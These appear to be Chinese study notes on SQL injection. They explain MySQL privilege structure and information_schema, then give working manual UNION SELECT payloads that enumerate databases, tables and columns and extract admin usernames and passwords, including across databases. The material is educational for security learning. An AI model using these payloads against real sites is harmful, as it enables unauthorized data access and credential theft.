定义
sql注入
前端传入参数的时候数据可以被用户操纵, 并且后端没有使用过滤,转义等操作或者使用了不安全的函数就将用户传入的参数放到数据库中执行,从而使得用户拼接的恶意语句也被执行,造成数据被操纵,这种情况下产生的漏洞就叫做sql注入漏洞;
历史疑问
像这种一个 ?id=1 是一个页面然后 ?id=2 又是另外一个页面的,其实也是通过传递参数来实现的;数据库的参数不一定是某些数字字符串等敏感数据一类的值,也有可能是变量,路径,图片等,拿到后在通过后端网站代码操作去显示到前端的页面上;如下图中图片的显示就是存放的路径;通过拼接的形式显示到前端;这个就是id?1513的图片来源
结构
ACCESS 独立存在数据库名表名列名数据--------------------------------------------MYSQL 统一管理最高数据库用户 =root 用户数据库 A= 网站 A= 数据库用户 A表名列名数据数据库 B= 网站 B= 数据库用户 B数据库 C= 网站 C= 数据库用户 C---------------------------------------------
结构总结
为了网站和数据库的安全性, MYSQL 内置有 ROOT 最高用户,划分等级,每个用户对应管理一个数 据库,这样保证无不关联,从而不会影响到其他数据库的运行。具体体现在源码的写法上,看引用的数据库配置文件中,说明了使用什么用户去操作比如这个是传参的页面,可以看到包含了一个数据库的配置文件,而数据库配置文件中声明了是使用root用户来操作数据库中的数据;声明了使用root用户操作,所以如果存在注入那就是最高的权限root;
mysql不同用户权限举例
不同的用户对应着不同的数据库,每个数据库可能都是一个网站,只有最高权限root才可以查看所有的数据库
root查看
普通用户查看
MYSQL 两种思路
非 ROOT 的注入攻击:常规类的猜解,正常爆库爆表爆数据ROOT 用户的注入攻击:文件读写操作,查询其他数据库中的内容(跨库查询)注入等;黑盒测试中可以采用 user() 获取当前用户权限,白盒中看数据库配置文件中连接的用户即可!-----------------------------------MYSQL5.0 以上版本:自带的数据库名 information_schema定义如下:information_schema :存储数据库下的数据库名及表名,列名信息的数据库information_schema.tables :记录表名信息的表information_schema.columns :记录列名信息表
mysql手工注入操作
前置准备
找到回显点之后,使用database()查看数据库名,为后期猜解指定数据库下的表
查看版本version(),查询数据库版本-看是否符合 information_schema,要求mysql5.0以上
查看当前用户是谁user(),是否符合 ROOT 型注入攻击
查看系统@@version_compile_os ,看是否支持大小写或文件路径选择
1、猜解数据
ps:from写在列最后面才是正确的,整体语句的意思是取出table_name的值从information_schema.tables中,并且数据库名字为syguestbook;
获取所有数据库名UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata获取 syguestbook 数据库下面的表名信息:UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables wheretable_schema='syguestbook'-----------如果表名称显示不全还可以使用group_concat(table_name)包裹起来;
-------------获取表名 sy_adminuser 的列名信息: UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columnswhere table_name='sy_adminuser' and table_schema='syguestbook'----------为了防止其他数据库中也有sy_adminuser字段,可以使用条件and table_schema='syguestbook'来做限定
--------获取指定数据:UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser
2、跨库注入
获取所有数据库名UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata接着只需要替换数据库名字为xhcms即可获取当前 mysql 下的所有数据库名UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata获取数据库名 xhcms 下的表名信息UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables wheretable_schema='xhcms'获取数据库名 xhcms 下的表 manage 下的列名信息:UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columnswhere table_name='manage' and table_schema='xhcms'获取指定数据:UNION SELECT user,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from xhcms.manage------注意这里跨库查询的时候极容易出现报错,因为他会从当前用户所在的数据库中去查询这个manage字段,可以增加 xhcms.manage来做限定
实战
sqlmap字典可以单独拿出来用,在data/txt/目录下
Accesss注入手法
#ASP+Access- 简易注入 - 字典猜解由于 Access 数据库特性导致这个 SQL 注入是需要借助字典去猜解表名和列名的,可以自定义社工字典或采用偏移注入!#ASP+Access- 偏移注入 - 报错显示偏移注入就是解决表名已知,列名未知的情况!#PHP+MYSQL- 简易注入 - 存储特性#PHP+MYSQL- 跨库注入 - 权限属性